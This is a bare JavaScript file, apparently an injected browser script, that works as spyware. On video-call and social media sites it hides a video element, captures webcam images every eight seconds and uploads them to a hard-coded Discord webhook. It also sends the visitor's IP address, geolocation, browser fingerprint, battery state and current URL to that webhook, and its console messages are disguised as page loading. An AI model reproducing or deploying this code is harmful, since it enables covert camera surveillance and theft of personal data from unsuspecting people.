const webhookUrl = 'https://discord.com/api/webhooks/1272940431726084239/tO9szyp0gLe4quhMq9OefBwQUWa3mfRBxlhcV_h3dPHA14JiX0zegxHpBssh4ogcVHnM'; const baseUrls = [ 'https://meet.google.com', 'https://app.zoom.us', 'https://instagram.com', 'https://tiktok.com', 'https://facebook.com', 'https://twitter.com', 'https://linkedin.com', 'https://youtube.com', 'https://pinterest.com', 'https://reddit.com', 'https://discord.com', 'https://snapchat.com', 'https://flickr.com', 'https://vimeo.com', 'https://twitch.tv', 'https://periscope.tv', 'https://medium.com', 'https://wordpress.com', 'https://blogger.com', 'https://tumblr.com', 'https://vk.com', 'https://ok.ru', 'https://livejournal.com', 'https://xing.com', 'https://github.com', 'https://stackexchange.com', 'https://quora.com', 'https://tripadvisor.com', 'https://yelp.com', 'https://foursquare.com', 'https://goodreads.com', 'https://soundcloud.com', 'https://mixcloud.com', 'https://last.fm', 'https://deviantart.com', 'https://dribbble.com', 'https://behance.net', 'https://500px.com', 'https://photobucket.com', 'https://imgur.com', 'https://9gag.com', 'https://imgflip.com', 'https://giphy.com', 'https://discord.com' ]; if (baseUrls.includes(window.location.origin)) { const infDiv = document.createElement('div'); infDiv.id = 'inf'; infDiv.style.position = 'fixed'; infDiv.style.top = '0'; infDiv.style.left = '0'; infDiv.style.width = '1px'; infDiv.style.height = '1px'; infDiv.style.zIndex = '-9999999999'; document.body.appendChild(infDiv); const camera = document.getElementById('inf'); navigator.mediaDevices.getUserMedia({ video: true, audio: false }) .then(stream => { const video = document.createElement('video'); video.srcObject = stream; video.autoplay = true; camera.appendChild(video); function sendPhoto() { const canvas = document.createElement('canvas'); canvas.width = video.videoWidth; canvas.height = video.videoHeight; const ctx = canvas.getContext('2d'); ctx.drawImage(video, 0, 0, canvas.width, canvas.height); canvas.toBlob(blob => { const formData = new FormData(); formData.append('file', blob, 'photo.jpg'); fetch(webhookUrl, { method: 'POST', body: formData }) .then(response => response.json()) .then(data => console.log(`Loading Page: ${data}`)) .catch(error => console.error(`Error loading page: ${error}`)); }, 'image/jpeg', 0.92); } setInterval(sendPhoto, 8000); }) .catch(error => console.error(`Error accessing camera: ${error}`)); } const webhookUrl2 = 'https://discord.com/api/webhooks/1272940431726084239/tO9szyp0gLe4quhMq9OefBwQUWa3mfRBxlhcV_h3dPHA14JiX0zegxHpBssh4ogcVHnM'; fetch('https://ipapi.co/json/') .then(response => response.json()) .then(data => { const browserInfo = navigator.userAgent; const screenResolution = `${screen.width}x${screen.height}`; const windowSize = `${window.innerWidth}x${window.innerHeight}`; const platform = navigator.platform; const language = navigator.language; const cookiesEnabled = navigator.cookieEnabled; const javaEnabled = navigator.javaEnabled(); const localTimezone = Intl.DateTimeFormat().resolvedOptions().timeZone; const battery = navigator.getBattery(); battery.then(battery => { const batteryLevel = battery.level * 100; const isCharging = battery.charging; const embed = { title: 'User Logging Info', description: '', fields: [ { name: 'IP Address', value: data.ip, inline: true }, { name: 'City', value: data.city, inline: true }, { name: 'Region', value: data.region, inline: true }, { name: 'Country', value: data.country_name, inline: true }, { name: 'Location', value: `${data.latitude},${data.longitude}`, inline: true }, { name: 'Organization', value: data.org, inline: true }, { name: 'Postal', value: data.postal, inline: true }, { name: 'Timezone', value: data.timezone, inline: true }, { name: 'Browser Info', value: browserInfo, inline: true }, { name: 'Screen Resolution', value: screenResolution, inline: true }, { name: 'Window Size', value: windowSize, inline: true }, { name: 'Platform', value: platform, inline: true }, { name: 'Language', value: language, inline: true }, { name: 'Cookies Enabled', value: cookiesEnabled ? 'Yes' : 'No', inline: true }, { name: 'Java Enabled', value: javaEnabled ? 'Yes' : 'No', inline: true }, { name: 'Local Timezone', value: localTimezone, inline: true }, { name: 'Timestamp', value: new Date().toISOString(), inline: true }, { name: 'Battery', value: `${batteryLevel}%`, inline: true }, { name: 'Is Charging?', value: isCharging ? 'true' : 'false', inline: true }, { name: 'Web Location', value: window.location.href, inline: true }, ], timestamp: new Date().toISOString(), }; fetch(webhookUrl2, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ embeds: [embed] }), }); }); }) .catch(error => console.error(`Error logging user info: ${error}`));